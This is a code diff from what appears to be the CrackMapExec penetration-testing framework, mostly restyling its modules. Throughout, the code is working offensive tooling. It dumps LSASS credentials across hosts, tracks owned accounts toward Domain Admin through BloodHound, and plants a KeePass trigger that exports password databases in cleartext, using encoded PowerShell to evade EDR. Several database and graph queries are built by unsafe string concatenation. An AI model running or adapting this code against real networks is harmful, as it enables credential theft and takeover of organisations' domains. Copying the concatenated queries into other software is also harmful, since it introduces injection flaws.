context.log.fail("Invalid value for USER option!")
exit(1)
self.user = module_options['USER']
self.user = module_options["USER"]
else:
context.log.fail('Missing USER option, use --options to list available parameters')
context.log.fail("Missing USER option, use --options to list available parameters")
exit(1)
def on_login(self, context, connection):
@@ -41,13 +41,15 @@ class CMEModule:
searchFilter = "(&(objectClass=user)(sAMAccountName={}))".format(self.user)
try:
context.log.debug('Search Filter=%s' % searchFilter)
resp = connection.ldapConnection.search(searchFilter=searchFilter,
attributes=['memberOf','primaryGroupID'],
sizeLimit=0)
context.log.debug("Search Filter=%s" % searchFilter)
resp = connection.ldapConnection.search(
searchFilter=searchFilter,
attributes=["memberOf", "primaryGroupID"],
sizeLimit=0,
)
except ldap_impacket.LDAPSearchError as e:
if e.getErrorString().find('sizeLimitExceeded') >= 0:
context.log.debug('sizeLimitExceeded exception caught, giving up and processing the data received')
if e.getErrorString().find("sizeLimitExceeded") >= 0:
context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received")
# We reached the sizeLimit, process the answers we have already and that's it. Until we implement
# paged queries
resp = e.getAnswers()
@@ -57,32 +59,32 @@ class CMEModule:
return False
memberOf = []
primaryGroupID = ''
primaryGroupID = ""
context.log.debug('Total of records returned %d' % len(resp))
context.log.debug("Total of records returned %d" % len(resp))
for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
try:
for attribute in item['attributes']:
if str(attribute['type']) == 'primaryGroupID':
primaryGroupID = attribute['vals'][0]
for attribute in item["attributes"]:
if str(attribute["type"]) == "primaryGroupID":
primaryGroupID = attribute["vals"][0]
# Hardcode value for Domain Users primary Group ID 513
# For future improvement maybe we can query the primary ID value
# Reference: https://social.technet.microsoft.com/Forums/Azure/en-US/373febac-665c-494d-91f7-834541c74bee/cant-get-all-member-objects-from-domain-users-in-ldap?forum=winserverDS
if str(primaryGroupID) == "513":
if str(primaryGroupID) == "513":
memberOf.append("CN=Domain Users,CN=Users,DC=XXXXX,DC=XXX")
elif str(attribute['type']) == 'memberOf':
for group in attribute['vals']:
elif str(attribute["type"]) == "memberOf":
for group in attribute["vals"]:
if isinstance(group._value, bytes):
memberOf.append(str(group))
except Exception as e:
context.log.debug("Exception:", exc_info=True)
context.log.debug('Skipping item, cannot process due to error %s' % str(e))
context.log.debug("Skipping item, cannot process due to error %s" % str(e))
pass
if len(memberOf) > 0:
context.log.success(u'User: {} is member of following groups: '.format(self.user))
context.log.success("User: {} is member of following groups: ".format(self.user))
for group in memberOf:
# Split the string on the "," character to get a list of the group name and parent group names
group_parts = group.split(",")
@@ -92,4 +94,4 @@ class CMEModule:
group_name = group_parts[0].split("=")[1]
# print("Group name: %s" % group_name)
context.log.highlight(u'{}'.format(group_name))
context.log.highlight("{}".format(group_name))
File diff suppressed because one or more lines are too long
+84 -55
View File
@@ -18,7 +18,7 @@ reported_da = []
def neo4j_conn(context, connection, driver):
if connection.config.get('BloodHound', 'bh_enabled') != "False":
if connection.config.get("BloodHound", "bh_enabled") != "False":
context.log.display("Connecting to Neo4j/Bloodhound.")
try:
session = driver.session()
@@ -40,8 +40,7 @@ def neo4j_local_admins(context, driver):
global admin_results
try:
session = driver.session()
admins = session.run(
"MATCH (c:Computer) OPTIONAL MATCH (u1:User)-[:AdminTo]->(c) OPTIONAL MATCH (u2:User)-[:MemberOf*1..]->(:Group)-[:AdminTo]->(c) WITH COLLECT(u1) + COLLECT(u2) AS TempVar,c UNWIND TempVar AS Admins RETURN c.name AS COMPUTER, COUNT(DISTINCT(Admins)) AS ADMIN_COUNT,COLLECT(DISTINCT(Admins.name)) AS USERS ORDER BY ADMIN_COUNT DESC") # This query pulls all PCs and their local admins from Bloodhound. Based on: https://github.com/xenoscr/Useful-BloodHound-Queries/blob/master/List-Queries.md and other similar posts
admins = session.run("MATCH (c:Computer) OPTIONAL MATCH (u1:User)-[:AdminTo]->(c) OPTIONAL MATCH (u2:User)-[:MemberOf*1..]->(:Group)-[:AdminTo]->(c) WITH COLLECT(u1) + COLLECT(u2) AS TempVar,c UNWIND TempVar AS Admins RETURN c.name AS COMPUTER, COUNT(DISTINCT(Admins)) AS ADMIN_COUNT,COLLECT(DISTINCT(Admins.name)) AS USERS ORDER BY ADMIN_COUNT DESC") # This query pulls all PCs and their local admins from Bloodhound. Based on: https://github.com/xenoscr/Useful-BloodHound-Queries/blob/master/List-Queries.md and other similar posts
context.log.success("Admins and PCs obtained.")
except Exception:
context.log.fail("Could not pull admins")
@@ -50,54 +49,64 @@ def neo4j_local_admins(context, driver):
def create_db(local_admins, dbconnection, cursor):
cursor.execute(
'''CREATE TABLE if not exists pc_and_admins ("pc_name" TEXT UNIQUE, "local_admins" TEXT, "dumped" TEXT)''')
cursor.execute("""CREATE TABLE if not exists pc_and_admins ("pc_name" TEXT UNIQUE, "local_admins" TEXT, "dumped" TEXT)""")
for result in local_admins:
cursor.execute("INSERT OR IGNORE INTO pc_and_admins(pc_name, local_admins, dumped) VALUES(?, ?, ?)",
(result.get('COMPUTER'), str(result.get('USERS'), ), 'FALSE'))
cursor.execute(
"INSERT OR IGNORE INTO pc_and_admins(pc_name, local_admins, dumped) VALUES(?, ?, ?)",
(
result.get("COMPUTER"),
str(
result.get("USERS"),
),
"FALSE",
),
)
dbconnection.commit()
cursor.execute('''CREATE TABLE if not exists admin_users("username" TEXT UNIQUE, "hash" TEXT, "password" TEXT)''')
cursor.execute("""CREATE TABLE if not exists admin_users("username" TEXT UNIQUE, "hash" TEXT, "password" TEXT)""")
admin_users = []
for result in local_admins:
for user in result.get('USERS'):
for user in result.get("USERS"):
if user not in admin_users:
admin_users.append(user)
for user in admin_users:
cursor.execute('''INSERT OR IGNORE INTO admin_users(username) VALUES(?)''', [user])
cursor.execute("""INSERT OR IGNORE INTO admin_users(username) VALUES(?)""", [user])
dbconnection.commit()
def process_creds(context, connection, credentials_data, dbconnection, cursor, driver):
if connection.args.local_auth:
context.log.extra['host'] = connection.conn.getServerDNSDomainName()
context.log.extra["host"] = connection.conn.getServerDNSDomainName()
else:
context.log.extra['host'] = connection.domain
context.log.extra['hostname'] = connection.host.upper()
context.log.extra["host"] = connection.domain
context.log.extra["hostname"] = connection.host.upper()
for result in credentials_data:
username = result["username"].upper().split('@')[0]
username = result["username"].upper().split("@")[0]
nthash = result["nthash"]
password = result["password"]
if result["password"] is not None:
context.log.highlight(
f"Found a cleartext password for: {username}:{password}. Adding to the DB and marking user as owned in BH.")
cursor.execute("UPDATE admin_users SET password = ? WHERE username LIKE '" + username + "%'", [password])
context.log.highlight(f"Found a cleartext password for: {username}:{password}. Adding to the DB and marking user as owned in BH.")
cursor.execute(
"UPDATE admin_users SET password = ? WHERE username LIKE '" + username + "%'",
[password],
)
username = f"{username.upper()}@{context.log.extra['host'].upper()}"
dbconnection.commit()
session = driver.session()
session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned')
if nthash == 'aad3b435b51404eeaad3b435b51404ee' or nthash == '31d6cfe0d16ae931b73c59d7e0c089c0':
if nthash == "aad3b435b51404eeaad3b435b51404ee" or nthash == "31d6cfe0d16ae931b73c59d7e0c089c0":
context.log.fail(f"Hash for {username} is expired.")
elif username not in found_users and nthash is not None:
context.log.highlight(
f"Found hashes for: '{username}:{nthash}'. Adding them to the DB and marking user as owned in BH.")
context.log.highlight(f"Found hashes for: '{username}:{nthash}'. Adding them to the DB and marking user as owned in BH.")
found_users.append(username)
cursor.execute("UPDATE admin_users SET hash = ? WHERE username LIKE '" + username + "%'", [nthash])
cursor.execute(
"UPDATE admin_users SET hash = ? WHERE username LIKE '" + username + "%'",
[nthash],
)
dbconnection.commit()
username = f"{username.upper()}@{context.log.extra['host'].upper()}"
session = driver.session()
session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned')
path_to_da = session.run(
"MATCH p=shortestPath((n)-[*1..]->(m)) WHERE n.owned=true AND m.name=~ '.*DOMAIN ADMINS.*' RETURN p")
path_to_da = session.run("MATCH p=shortestPath((n)-[*1..]->(m)) WHERE n.owned=true AND m.name=~ '.*DOMAIN ADMINS.*' RETURN p")
paths = [record for record in path_to_da.data()]
for path in paths:
@@ -105,9 +114,9 @@ def process_creds(context, connection, credentials_data, dbconnection, cursor, d
for key, value in path.items():
for item in value:
if type(item) == dict:
if {item['name']} not in reported_da:
if {item["name"]} not in reported_da:
context.log.success(f"You have a valid path to DA as {item['name']}.")
reported_da.append({item['name']})
reported_da.append({item["name"]})
exit()
@@ -115,8 +124,14 @@ def initial_run(connection, cursor):
username = connection.username
password = getattr(connection, "password", "")
nthash = getattr(connection, "nthash", "")
cursor.execute("UPDATE admin_users SET password = ? WHERE username LIKE '" + username + "%'", [password])
cursor.execute("UPDATE admin_users SET hash = ? WHERE username LIKE '" + username + "%'", [nthash])
cursor.execute(
"UPDATE admin_users SET password = ? WHERE username LIKE '" + username + "%'",
[password],
)
cursor.execute(
"UPDATE admin_users SET hash = ? WHERE username LIKE '" + username + "%'",
[nthash],
)
class CMEModule:
@@ -139,18 +154,18 @@ class CMEModule:
RESET_DUMPED Allows re-dumping of hosts. (Default: False)
RESET Reset DB. (Default: False)
"""
self.method = 'comsvcs'
if 'METHOD' in module_options:
self.method = module_options['METHOD']
self.reset_dumped = module_options.get('RESET_DUMPED', False)
self.reset = module_options.get('RESET', False)
self.method = "comsvcs"
if "METHOD" in module_options:
self.method = module_options["METHOD"]
self.reset_dumped = module_options.get("RESET_DUMPED", False)
self.reset = module_options.get("RESET", False)
def run_lsassy(self, context, connection, cursor): # copied and pasted from lsassy_dumper & added cursor
# lsassy uses a custom "success" level, which requires initializing its logger or an error will be thrown
# lsassy also removes all other handlers and overwrites the formatter which is bad (we want ours)
# so what we do is define "success" as a logging level, then do nothing with the output
logging.addLevelName(25, 'SUCCESS')
setattr(logging, 'success', lambda message, *args: ())
logging.addLevelName(25, "SUCCESS")
setattr(logging, "success", lambda message, *args: ())
host = connection.host
domain_name = connection.domain
@@ -167,7 +182,7 @@ class CMEModule:
nthash=nthash,
username=username,
password=password,
domain=domain_name
domain=domain_name,
)
if session.smb_session is None:
context.log.fail("Couldn't connect to remote host. Password likely expired/changed. Removing from DB.")
@@ -190,9 +205,22 @@ class CMEModule:
credentials_unique = []
credentials_output = []
for cred in credentials:
if [cred["domain"], cred["username"], cred["password"], cred["lmhash"], cred["nthash"]] not in credentials_unique:
if [
cred["domain"],
cred["username"],
cred["password"],
cred["lmhash"],
cred["nthash"],
] not in credentials_unique:
credentials_unique.append(
[cred["domain"], cred["username"], cred["password"], cred["lmhash"], cred["nthash"]])
[
cred["domain"],
cred["username"],
cred["password"],
cred["lmhash"],
cred["nthash"],
]
)
credentials_output.append(cred)
global credentials_data
credentials_data = credentials_output
@@ -209,34 +237,35 @@ class CMEModule:
more_to_dump = cursor.fetchall()
if len(more_to_dump) > 0:
context.log.display(f"User {user[0]} has more access to {pc[0]}. Attempting to dump.")
connection.domain = user[0].split('@')[1]
setattr(connection, "host", pc[0].split('.')[0])
setattr(connection, "username", user[0].split('@')[0])
connection.domain = user[0].split("@")[1]
setattr(connection, "host", pc[0].split(".")[0])
setattr(connection, "username", user[0].split("@")[0])
setattr(connection, "nthash", user[1])
setattr(connection, "nthash", user[1])
try:
self.run_lsassy(context, connection, cursor)
cursor.execute(
"UPDATE pc_and_admins SET dumped = 'TRUE' WHERE pc_name LIKE '" + pc[0] + "%'")
cursor.execute("UPDATE pc_and_admins SET dumped = 'TRUE' WHERE pc_name LIKE '" + pc[0] + "%'")
process_creds(context, connection, credentials_data, dbconnection, cursor, driver)
process_creds(
context,
connection,
credentials_data,
dbconnection,
cursor,
driver,
)
self.spider_pcs(context, connection, cursor, dbconnection, driver)
except Exception:
context.log.fail(f"Failed to dump lsassy on {pc[0]}")
if len(admin_access) > 0:
context.log.fail(
"No more local admin access known. Please try re-running Bloodhound with newly found accounts.")
context.log.fail("No more local admin access known. Please try re-running Bloodhound with newly found accounts.")
exit()
def on_admin_login(self, context, connection):
db_path = connection.config.get('CME', 'workspace')
db_path = connection.config.get("CME", "workspace")
# DB will be saved at ./CrackMapExec/hash_spider_default.sqlite3 if workspace in cme.conf is "default"
db_name = f"hash_spider_{db_path}.sqlite3"
dbconnection = connect(
db_name,
check_same_thread=False,
isolation_level=None
)
dbconnection = connect(db_name, check_same_thread=False, isolation_level=None)
cursor = dbconnection.cursor()
if self.reset:
@@ -257,10 +286,10 @@ class CMEModule:
context.log.fail("Database update error", str(e))
exit()
neo4j_user = connection.config.get('BloodHound', 'bh_user')
neo4j_pass = connection.config.get('BloodHound', 'bh_pass')
neo4j_uri = connection.config.get('BloodHound', 'bh_uri')
neo4j_port = connection.config.get('BloodHound', 'bh_port')
neo4j_user = connection.config.get("BloodHound", "bh_user")
neo4j_pass = connection.config.get("BloodHound", "bh_pass")
neo4j_uri = connection.config.get("BloodHound", "bh_uri")
neo4j_port = connection.config.get("BloodHound", "bh_port")
neo4j_db = f"bolt://{neo4j_uri}:{neo4j_port}"
driver = GraphDatabase.driver(neo4j_db, auth=basic_auth(neo4j_user, neo4j_pass), encrypted=False)
neo4j_conn(context, connection, driver)
File diff suppressed because one or more lines are too long
+30 -16
View File
@@ -7,7 +7,6 @@ from impacket.examples.secretsdump import RemoteOperations
class CMEModule:
name = "install_elevated"
description = "Checks for AlwaysInstallElevated"
supported_protocols = ["smb"]
@@ -15,8 +14,7 @@ class CMEModule:
multiple_hosts = True
def options(self, context, module_options):
"""
"""
""" """
def on_admin_login(self, context, connection):
try:
@@ -25,32 +23,48 @@ class CMEModule:
try:
ans_machine = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
reg_handle = ans_machine['phKey']
ans_machine = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, 'SOFTWARE\\Policies\\Microsoft\\Windows\\Installer')
key_handle = ans_machine['phkResult']
data_type, aie_machine_value = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, 'AlwaysInstallElevated')
reg_handle = ans_machine["phKey"]
ans_machine = rrp.hBaseRegOpenKey(
remote_ops._RemoteOperations__rrp,
reg_handle,
"SOFTWARE\\Policies\\Microsoft\\Windows\\Installer",
)
key_handle = ans_machine["phkResult"]
data_type, aie_machine_value = rrp.hBaseRegQueryValue(
remote_ops._RemoteOperations__rrp,
key_handle,
"AlwaysInstallElevated",
)
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
if aie_machine_value == 0:
context.log.highlight('AlwaysInstallElevated Status: 0 (Disabled)')
context.log.highlight("AlwaysInstallElevated Status: 0 (Disabled)")
return
except rrp.DCERPCSessionError:
context.log.highlight('AlwaysInstallElevated Status: 0 (Disabled)')
context.log.highlight("AlwaysInstallElevated Status: 0 (Disabled)")
return
try:
ans_user = rrp.hOpenCurrentUser(remote_ops._RemoteOperations__rrp)
reg_handle = ans_user['phKey']
ans_user = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, 'SOFTWARE\\Policies\\Microsoft\\Windows\\Installer')
key_handle = ans_user['phkResult']
data_type, aie_user_value = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, 'AlwaysInstallElevated')
reg_handle = ans_user["phKey"]
ans_user = rrp.hBaseRegOpenKey(
remote_ops._RemoteOperations__rrp,
reg_handle,
"SOFTWARE\\Policies\\Microsoft\\Windows\\Installer",
)
key_handle = ans_user["phkResult"]
data_type, aie_user_value = rrp.hBaseRegQueryValue(
remote_ops._RemoteOperations__rrp,
key_handle,
"AlwaysInstallElevated",
)
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
except rrp.DCERPCSessionError:
context.log.highlight('AlwaysInstallElevated Status: 1 (Enabled: Computer Only)')
context.log.highlight("AlwaysInstallElevated Status: 1 (Enabled: Computer Only)")
return
if aie_user_value == 0:
context.log.highlight('AlwaysInstallElevated Status: 1 (Enabled: Computer Only)')
context.log.highlight("AlwaysInstallElevated Status: 1 (Enabled: Computer Only)")
else:
context.log.highlight('AlwaysInstallElevated Status: 1 (Enabled)')
context.log.highlight("AlwaysInstallElevated Status: 1 (Enabled)")
finally:
try:
remote_ops.finish()
+31 -25
View File
@@ -1,21 +1,22 @@
from csv import reader
class CMEModule:
"""
Search for KeePass-related files and process
Search for KeePass-related files and process
Module by @d3lb3
Inspired by @harmj0y https://raw.githubusercontent.com/GhostPack/KeeThief/master/PowerShell/KeePassConfig.ps1
Module by @d3lb3
Inspired by @harmj0y https://raw.githubusercontent.com/GhostPack/KeeThief/master/PowerShell/KeePassConfig.ps1
"""
name = 'keepass_discover'
name = "keepass_discover"
description = "Search for KeePass-related files and process."
supported_protocols = ['smb']
opsec_safe = True # only legitimate commands are executed on the remote host (search process and files)
supported_protocols = ["smb"]
opsec_safe = True # only legitimate commands are executed on the remote host (search process and files)
multiple_hosts = True
def __init__(self):
self.search_type = 'ALL'
self.search_type = "ALL"
self.search_path = "'C:\\Users\\','$env:PROGRAMFILES','env:ProgramFiles(x86)'"
def options(self, context, module_options):
@@ -29,44 +30,49 @@ class CMEModule:
Default: 'C:\\Users\\','$env:PROGRAMFILES','env:ProgramFiles(x86)'
"""
if 'SEARCH_PATH' in module_options:
self.search_path = module_options['SEARCH_PATH']
if "SEARCH_PATH" in module_options:
self.search_path = module_options["SEARCH_PATH"]
if 'SEARCH_TYPE' in module_options:
self.search_type = module_options['SEARCH_TYPE']
if "SEARCH_TYPE" in module_options:
self.search_type = module_options["SEARCH_TYPE"]
def on_admin_login(self, context, connection):
if self.search_type == 'ALL' or self.search_type == 'PROCESS':
if self.search_type == "ALL" or self.search_type == "PROCESS":
# search for keepass process
search_keepass_process_command_str = 'powershell.exe "Get-Process kee* -IncludeUserName | Select-Object -Property Id,UserName,ProcessName | ConvertTo-CSV -NoTypeInformation"'
search_keepass_process_output_csv = connection.execute(search_keepass_process_command_str, True) # we return the powershell command as a CSV for easier column parsing
csv_reader = reader(search_keepass_process_output_csv.split('\n'), delimiter=',')
next(csv_reader) # to skip the csv header line
row_number = 0 # as csv_reader is an iterator we can't get its length without exhausting it
search_keepass_process_output_csv = connection.execute(search_keepass_process_command_str, True) # we return the powershell command as a CSV for easier column parsing
csv_reader = reader(search_keepass_process_output_csv.split("\n"), delimiter=",")
next(csv_reader) # to skip the csv header line
row_number = 0 # as csv_reader is an iterator we can't get its length without exhausting it
for row in csv_reader:
row_number += 1
keepass_process_id = row[0]
keepass_process_username = row[1]
keepass_process_name = row[2]
context.log.highlight('Found process "{}" with PID {} (user {})'.format(keepass_process_name, keepass_process_id, keepass_process_username))
context.log.highlight(
'Found process "{}" with PID {} (user {})'.format(
keepass_process_name,
keepass_process_id,
keepass_process_username,
)
)
if row_number == 0:
context.log.display('No KeePass-related process was found')
context.log.display("No KeePass-related process was found")
# search for keepass-related files
if self.search_type == 'ALL' or self.search_type == 'FILES':
if self.search_type == "ALL" or self.search_type == "FILES":
search_keepass_files_payload = "Get-ChildItem -Path {} -Recurse -Force -Include ('KeePass.config.xml','KeePass.exe','*.kdbx') -ErrorAction SilentlyContinue | Select FullName -ExpandProperty FullName".format(self.search_path)
search_keepass_files_cmd = 'powershell.exe "{}"'.format(search_keepass_files_payload)
search_keepass_files_output = connection.execute(search_keepass_files_cmd, True).split("\r\n")
found = False
found_xml = False
for file in search_keepass_files_output:
if 'KeePass' in file or 'kdbx' in file:
if 'xml' in file:
if "KeePass" in file or "kdbx" in file:
if "xml" in file:
found_xml = True
found = True
context.log.highlight('Found {}'.format(file))
context.log.highlight("Found {}".format(file))
if not found:
context.log.display('No KeePass-related file were found')
context.log.display("No KeePass-related file were found")
elif not found_xml:
context.log.fail('No config settings file found !!!')
context.log.fail("No config settings file found !!!")
+103 -120
View File
@@ -19,9 +19,9 @@ class CMEModule:
Module by @d3lb3, inspired by @harmj0y work
"""
name = 'keepass_trigger'
name = "keepass_trigger"
description = "Set up a malicious KeePass trigger to export the database in cleartext."
supported_protocols = ['smb']
supported_protocols = ["smb"]
# while the module only executes legit powershell commands on the target (search and edit files)
# some EDR like Trend Micro flag base64-encoded powershell as malicious
# the option PSH_EXEC_METHOD can be used to avoid such execution, and will drop scripts on the target
@@ -33,26 +33,26 @@ class CMEModule:
self.action = None
self.keepass_config_path = None
self.keepass_user = None
self.export_name = 'export.xml'
self.export_path = 'C:\\Users\\Public'
self.powershell_exec_method = 'PS1'
self.export_name = "export.xml"
self.export_path = "C:\\Users\\Public"
self.powershell_exec_method = "PS1"
# additional parameters
self.share = 'C$'
self.remote_temp_script_path = 'C:\\Windows\\Temp\\temp.ps1'
self.keepass_binary_path = 'C:\\Program Files\\KeePass Password Safe 2\\KeePass.exe'
self.local_export_path = '/tmp'
self.trigger_name = 'export_database'
self.share = "C$"
self.remote_temp_script_path = "C:\\Windows\\Temp\\temp.ps1"
self.keepass_binary_path = "C:\\Program Files\\KeePass Password Safe 2\\KeePass.exe"
self.local_export_path = "/tmp"
self.trigger_name = "export_database"
self.poll_frequency_seconds = 5
self.dummy_service_name = 'OneDrive Sync KeePass'
self.dummy_service_name = "OneDrive Sync KeePass"
with open(get_ps_script('keepass_trigger_module/RemoveKeePassTrigger.ps1'), 'r') as remove_trigger_script_file:
with open(get_ps_script("keepass_trigger_module/RemoveKeePassTrigger.ps1"), "r") as remove_trigger_script_file:
self.remove_trigger_script_str = remove_trigger_script_file.read()
with open(get_ps_script('keepass_trigger_module/AddKeePassTrigger.ps1'), 'r') as add_trigger_script_file:
with open(get_ps_script("keepass_trigger_module/AddKeePassTrigger.ps1"), "r") as add_trigger_script_file:
self.add_trigger_script_str = add_trigger_script_file.read()
with open(get_ps_script('keepass_trigger_module/RestartKeePass.ps1'), 'r') as restart_keepass_script_file:
with open(get_ps_script("keepass_trigger_module/RestartKeePass.ps1"), "r") as restart_keepass_script_file:
self.restart_keepass_script_str = restart_keepass_script_file.read()
def options(self, context, module_options):
@@ -87,49 +87,56 @@ class CMEModule:
but they can still be easily edited in the module __init__ code if needed
"""
if 'ACTION' in module_options:
if module_options['ACTION'] not in ['ADD', 'CHECK', 'RESTART', 'SINGLE_POLL', 'POLL', 'CLEAN', 'ALL']:
context.log.fail('Unrecognized action, use --options to list available parameters')
if "ACTION" in module_options:
if module_options["ACTION"] not in [
"ADD",
"CHECK",
"RESTART",
"SINGLE_POLL",
"POLL",
"CLEAN",
"ALL",
]:
context.log.fail("Unrecognized action, use --options to list available parameters")
exit(1)
else:
self.action = module_options['ACTION']
self.action = module_options["ACTION"]
else:
context.log.fail('Missing ACTION option, use --options to list available parameters')
context.log.fail("Missing ACTION option, use --options to list available parameters")
exit(1)
if 'KEEPASS_CONFIG_PATH' in module_options:
self.keepass_config_path = module_options['KEEPASS_CONFIG_PATH']
if "KEEPASS_CONFIG_PATH" in module_options:
self.keepass_config_path = module_options["KEEPASS_CONFIG_PATH"]
if 'USER' in module_options:
self.keepass_user = module_options['USER']
if "USER" in module_options:
self.keepass_user = module_options["USER"]
if 'EXPORT_NAME' in module_options:
self.export_name = module_options['EXPORT_NAME']
if "EXPORT_NAME" in module_options:
self.export_name = module_options["EXPORT_NAME"]
if 'EXPORT_PATH' in module_options:
self.export_path = module_options['EXPORT_PATH']
if "EXPORT_PATH" in module_options:
self.export_path = module_options["EXPORT_PATH"]
if 'PSH_EXEC_METHOD' in module_options:
if module_options['PSH_EXEC_METHOD'] not in ['ENCODE', 'PS1']:
context.log.fail('Unrecognized powershell execution method, use --options to list available parameters')
if "PSH_EXEC_METHOD" in module_options:
if module_options["PSH_EXEC_METHOD"] not in ["ENCODE", "PS1"]:
context.log.fail("Unrecognized powershell execution method, use --options to list available parameters")
exit(1)
else:
self.powershell_exec_method = module_options['PSH_EXEC_METHOD']
self.powershell_exec_method = module_options["PSH_EXEC_METHOD"]
def on_admin_login(self, context, connection):
if self.action == 'ADD':
if self.action == "ADD":
self.add_trigger(context, connection)
elif self.action == 'CHECK':
elif self.action == "CHECK":
self.check_trigger_added(context, connection)
elif self.action == 'RESTART':
elif self.action == "RESTART":
self.restart(context, connection)
elif self.action == 'POLL':
elif self.action == "POLL":
self.poll(context, connection)
elif self.action == 'CLEAN':
elif self.action == "CLEAN":
self.clean(context, connection)
self.restart(context, connection)
elif self.action == 'ALL':
elif self.action == "ALL":
self.all_in_one(context, connection)
def add_trigger(self, context, connection):
@@ -144,18 +151,18 @@ class CMEModule:
# prepare the trigger addition script based on user-specified parameters (e.g: trigger name, etc)
# see data/keepass_trigger_module/AddKeePassTrigger.ps1 for the full script
self.add_trigger_script_str = self.add_trigger_script_str.replace('REPLACE_ME_ExportPath', self.export_path)
self.add_trigger_script_str = self.add_trigger_script_str.replace('REPLACE_ME_ExportName', self.export_name)
self.add_trigger_script_str = self.add_trigger_script_str.replace('REPLACE_ME_TriggerName', self.trigger_name)
self.add_trigger_script_str = self.add_trigger_script_str.replace('REPLACE_ME_KeePassXMLPath', self.keepass_config_path)
self.add_trigger_script_str = self.add_trigger_script_str.replace("REPLACE_ME_ExportPath", self.export_path)
self.add_trigger_script_str = self.add_trigger_script_str.replace("REPLACE_ME_ExportName", self.export_name)
self.add_trigger_script_str = self.add_trigger_script_str.replace("REPLACE_ME_TriggerName", self.trigger_name)
self.add_trigger_script_str = self.add_trigger_script_str.replace("REPLACE_ME_KeePassXMLPath", self.keepass_config_path)
# add the malicious trigger to the remote KeePass configuration file
if self.powershell_exec_method == 'ENCODE':
add_trigger_script_b64 = b64encode(self.add_trigger_script_str.encode('UTF-16LE')).decode('utf-8')
if self.powershell_exec_method == "ENCODE":
add_trigger_script_b64 = b64encode(self.add_trigger_script_str.encode("UTF-16LE")).decode("utf-8")
add_trigger_script_cmd = f"powershell.exe -e {add_trigger_script_b64}"
connection.execute(add_trigger_script_cmd)
sleep(2) # as I noticed some delay may happen with the encoded powershell command execution
elif self.powershell_exec_method == 'PS1':
sleep(2) # as I noticed some delay may happen with the encoded powershell command execution
elif self.powershell_exec_method == "PS1":
try:
self.put_file_execute_delete(context, connection, self.add_trigger_script_str)
except Exception as e:
@@ -186,7 +193,7 @@ class CMEModule:
search_keepass_process_command_str = 'powershell.exe "Get-Process keepass* -IncludeUserName | Select-Object -Property Id,UserName,ProcessName | ConvertTo-CSV -NoTypeInformation"'
search_keepass_process_output_csv = connection.execute(search_keepass_process_command_str, True)
# we return the powershell command as a CSV for easier column parsing
csv_reader = reader(search_keepass_process_output_csv.split('\n'), delimiter=',')
csv_reader = reader(search_keepass_process_output_csv.split("\n"), delimiter=",")
next(csv_reader) # to skip the header line
keepass_process_list = list(csv_reader)
# check if multiple processes belonging to different users are running (in order to choose which one to restart)
@@ -194,72 +201,57 @@ class CMEModule:
for process in keepass_process_list:
keepass_users.append(process[1])
if len(keepass_users) == 0:
context.log.fail('No running KeePass process found, aborting restart')
context.log.fail("No running KeePass process found, aborting restart")
return
elif len(keepass_users) == 1: # if there is only 1 KeePass process running
# if KEEPASS_USER option is specified then we check if the user matches
if self.keepass_user and (keepass_users[0] != self.keepass_user and keepass_users[0].split('\\')[1] != self.keepass_user):
context.log.fail(
f"Specified user {self.keepass_user} does not match any KeePass process owner, aborting restart"
)
if self.keepass_user and (keepass_users[0] != self.keepass_user and keepass_users[0].split("\\")[1] != self.keepass_user):
context.log.fail(f"Specified user {self.keepass_user} does not match any KeePass process owner, aborting restart")
return
else:
self.keepass_user = keepass_users[0]
elif len(keepass_users) > 1 and self.keepass_user:
found_user = False # we search through every KeePass process owner for the specified user
found_user = False # we search through every KeePass process owner for the specified user
for user in keepass_users:
if user == self.keepass_user or user.split('\\')[1] == self.keepass_user:
if user == self.keepass_user or user.split("\\")[1] == self.keepass_user:
self.keepass_user = keepass_users[0]
found_user = True
if not found_user:
context.log.fail(
f"Specified user {self.keepass_user} does not match any KeePass process owner, aborting restart"
)
context.log.fail(f"Specified user {self.keepass_user} does not match any KeePass process owner, aborting restart")
return
else:
context.log.fail('Multiple KeePass processes were found, please specify parameter USER to target one')
context.log.fail("Multiple KeePass processes were found, please specify parameter USER to target one")
return
context.log.display("Restarting {}'s KeePass process".format(keepass_users[0]))
# prepare the restarting script based on user-specified parameters (e.g: keepass user, etc)
# see data/keepass_trigger_module/RestartKeePass.ps1
self.restart_keepass_script_str = self.restart_keepass_script_str.replace(
'REPLACE_ME_KeePassUser',
self.keepass_user
)
self.restart_keepass_script_str = self.restart_keepass_script_str.replace(
'REPLACE_ME_KeePassBinaryPath',
self.keepass_binary_path
)
self.restart_keepass_script_str = self.restart_keepass_script_str.replace(
'REPLACE_ME_DummyServiceName',
self.dummy_service_name
)
self.restart_keepass_script_str = self.restart_keepass_script_str.replace("REPLACE_ME_KeePassUser", self.keepass_user)
self.restart_keepass_script_str = self.restart_keepass_script_str.replace("REPLACE_ME_KeePassBinaryPath", self.keepass_binary_path)
self.restart_keepass_script_str = self.restart_keepass_script_str.replace("REPLACE_ME_DummyServiceName", self.dummy_service_name)
# actually performs the restart on the remote target
if self.powershell_exec_method == 'ENCODE':
restart_keepass_script_b64 = b64encode(self.restart_keepass_script_str.encode('UTF-16LE')).decode('utf-8')
restart_keepass_script_cmd = 'powershell.exe -e {}'.format(restart_keepass_script_b64)
if self.powershell_exec_method == "ENCODE":
restart_keepass_script_b64 = b64encode(self.restart_keepass_script_str.encode("UTF-16LE")).decode("utf-8")
restart_keepass_script_cmd = "powershell.exe -e {}".format(restart_keepass_script_b64)
connection.execute(restart_keepass_script_cmd)
elif self.powershell_exec_method == 'PS1':
elif self.powershell_exec_method == "PS1":
try:
self.put_file_execute_delete(context, connection, self.restart_keepass_script_str)
except Exception as e:
context.log.fail('Error while restarting KeePass: {}'.format(e))
